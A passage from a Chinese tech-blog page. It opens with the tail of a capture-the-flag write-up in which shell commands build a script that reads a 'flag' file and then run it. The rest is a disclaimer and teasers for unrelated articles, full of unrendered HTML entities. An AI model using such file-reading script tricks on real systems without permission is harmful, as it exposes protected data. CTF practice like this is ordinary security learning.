  5. echo 'done < flag' >> a.sh

最后运行 shell 脚本获得flag

  1. bash a.sh

无偿获取网络安全优质学习资料与干货教程

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2125636.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

车路云一体化系统中的数据交互内容

车路云与相关支撑平台的数据交互是构建智能交通系统的重要组成部分&#xff0c;它涉及到车辆、道路基础设施&#xff08;路侧单元RSU&#xff09;与云端平台及其相关支撑平台之间的复杂信息流通与协同工作。以下是对这一过程的详细解析&#xff1a; 一、数据交互的组成部分 车…

DMDRS学习

DMDRS学习 产品介绍 达梦数据复制软件&#xff08;简称DMDRS&#xff09;是一种用于同构数据库、异构数据库以及各种数据管理系统之间的数据复制软件。DMDRS采用模块化的设计&#xff0c;通过灵活配置不同的功能模块&#xff0c;实现多功能的数据复制服务&#xff0c;以满足多…

Java虚拟机 - 实战篇

一、内存调优 1. 什么是内存泄漏 &#xff08;1&#xff09;内存溢出和内存泄漏 2. 监控Java内存的常用工具 &#xff08;1&#xff09;Top命令 &#xff08;2&#xff09;VisualVM &#xff08;3&#xff09;Arthas &#xff08;4&#xff09;Prometheus Grafana &#xff…

人工智能--模型评估指标

背景 1、分类回归模型的评估指标 分类模型的目标是将输入数据分配到一个离散类别中&#xff0c;常见的评估指标如下&#xff1a; 准确率 (Accuracy) 解释&#xff1a;表示模型预测正确的样本占总样本的比例。适用于类分布平衡的情况&#xff0c;但在类别不平衡时表现不佳。…

十张图“拿捏”MySQL中B+树的生成过程

hello&#xff0c;我是大都督周瑜&#xff0c;这篇文章带你用十张图“拿捏”MySQL中B树的生成过程。 更多干货技术文章、面试题&#xff0c;欢迎关注我的公众号&#xff1a;IT周瑜 当MySQL接收到一条以下SQL时&#xff0c;表示要从t1表中查询数据&#xff1a; select * from t…

基于java+springboot+vue实现的林业产品推荐系统(文末源码+Lw)135

基于SpringBootVue的实现的林业产品推荐系统&#xff08;源码数据库万字Lun文流程图ER图结构图演示视频软件包&#xff09; 系统功能&#xff1a; 林业产品推荐系统是在MySQL中建立数据表保存信息&#xff0c;运用SpringBoot框架和Java语言编写。 并按照软件设计开发流程进行…

新书宣传:《量子安全:信息保护新纪元》

《量子安全&#xff1a;信息保护新纪元》 前言本书的看点本书的目录结语 前言 你好&#xff01; 这是我第一次发布类广告的博文&#xff0c;目的也很单纯&#xff0c;希望以作者的身份介绍一下自己出版的图书——《量子安全&#xff1a;信息保护新纪元》。此书于2024年7月出版…

【go】pprof 性能分析

前言 go pprof是 Go 语言提供的性能分析工具。它可以帮助开发者分析 Go 程序的性能问题&#xff0c;包括 CPU 使用情况、内存分配情况、阻塞情况等。 主要功能 CPU 性能分析 go pprof可以对程序的 CPU 使用情况进行分析。它通过在一定时间内对程序的执行进行采样&#xff0…

17个常见的电子邮件营销错误及避免方法

我们都在邮件营销中犯过错误。你点击发送&#xff0c;然后感到一阵沉重的感觉。你搞砸了&#xff0c;现在全世界都能看到你的错误。这就像把一封信放在瓶子里扔进无边的互联网海洋&#xff0c;你无法把它收回来。 有些邮件营销错误显而易见&#xff0c;可能会让你所有的努力化…

Redis学习Day3——项目工程开发`

扩展阅读推荐&#xff1a; 黑马程序员Redis入门到实战教程_哔哩哔哩_bilibili 使用git命令行将本地仓库代码上传到gitee/github远程仓库-CSDN博客 一、项目介绍及其初始化 学习Redis的过程&#xff0c;我们还将遇到各种实际问题&#xff0c;例如缓存击穿、雪崩、热Key等问题&…

想将桌面移动到D盘,但是不小心将D盘整个改成桌面的快捷方式了的解决办法

本帖为经验分享&#xff0c;因而附带了解释。 着急的uu请直接按照红色&#xff08;蓝色&#xff09;加粗标号直接操作&#xff01; 目录 一、问题描述 二、问题出现的原因 三、解决方法 一、问题描述 想将桌面移动到D盘&#xff0c;但是不小心将D盘整个改成桌面的快捷方式。…

老旧电力系统安全隐患增加 该如何预防电气线路老化等因素引发的电气火灾呢?

为应对我国电气火灾事故频发的挑战&#xff0c;安科瑞电气股份有限公司开发了AcrelCloud-6000安全用电管理云平台。这一平台依托移动互联网和云计算技术&#xff0c;结合物联网传感器&#xff0c;将办公楼、学校、医院、工厂、体育场馆、宾馆及福利院等人员密集场所的电气安全数…

爬虫--基于python的旅游网站数据分析与可视化实现---附源码78517

摘要 在数字化时代&#xff0c;旅游网站积累了大量用户数据&#xff0c;这些数据中蕴藏着丰富的信息和价值。为了更好地理解用户行为、优化旅游服务体验和提高业务运营效率&#xff0c;对旅游网站数据进行深度挖掘和可视化展示显得尤为重要。本文借助Python编程语言&#xff0c…

前端Excel热成像数据展示及插值算法

&#x1f3ac; 江城开朗的豌豆&#xff1a;个人主页 &#x1f525; 个人专栏:《 VUE 》 《 javaScript 》 &#x1f4dd; 个人网站 :《 江城开朗的豌豆&#x1fadb; 》 ⛺️生活的理想&#xff0c;就是为了理想的生活! 目录 &#x1f4d8; 前言 &#x1f4d8;一、热成像数…

最受欢迎的10款电脑监控软件大揭秘,员工电脑监控软件真心推荐

随着科技的迅猛发展&#xff0c;越来越多的企业和个人开始关注电脑监控软件的使用。这类软件能够帮助企业管理者更好地了解员工的工作状况&#xff0c;提升工作效率&#xff0c;并确保公司数据安全&#xff1b;个人用户也可以利用这些软件监控电脑活动&#xff0c;保护家人尤其…

电源自动测试系统有哪些原理和优势?

‌电源自动测试系统是一种自动测试设备&#xff0c;用于对各类电源模块进行功能和性能测试。它采用模块化设计&#xff0c;构建了一个方便快捷、功能齐全的电源测试平台&#xff0c;便于后续的检修和维护&#xff0c;减少对企业生产和测试的影响。 电源自动测试系统的工作原理和…

区块链学习笔记3--以太坊

智能合约&#xff1a;跑在以太坊系统中的代码合同&#xff0c;其实质是一段代码。目前已经存在180多万个智能合约。 智能合约能表达&#xff1a;规则明确&#xff0c;不受主观因素影响的业务。 智能合约能表达&#xff1a;规则不轻易修改的业务 如果业务的规则经常变化&#x…

2025第九届数字信号处理国际会议(ICDSP 2025)将在成都召开!

第九届数字信号处理国际会议&#xff08;ICDSP 2025&#xff09;将于2025年2月21-23日在成都召开。ICDSP 2025大会由西南交通大学和西华大学联合主办, 并得到各地高校和机构的技术支持。大会旨在邀请众多国内外学者及产业研发人员齐聚一堂&#xff0c;共同探讨数字信号处理领域…

ABB机械手备份与恢复

ABB机械手备份与恢复 备份恢复系统 备份 ABB机器人数据备份的对象是所有正在系统内存中运行的RAPID程序和系统参数。当机器人系统出现错乱或者重新安装系统以后&#xff0c;可以通过备份快速地把机器人恢复到备份时的状态。 如果导出到U盘需要将U盘插入USB接口&#xff0c;位置…

docker-01 创建一个自己的镜像并运行容器

docker-01 创建一个自己的镜像并运行容器 前言 我们都知道使用Docker的镜像可以快速创建和部署应用&#xff0c;大大的节约了部署的时间。并且Docker 的镜像提供了除内核外完整的运行时环境&#xff0c;确保代码的环境一致性&#xff0c;从而不会在出现这段代码在我机器上没问…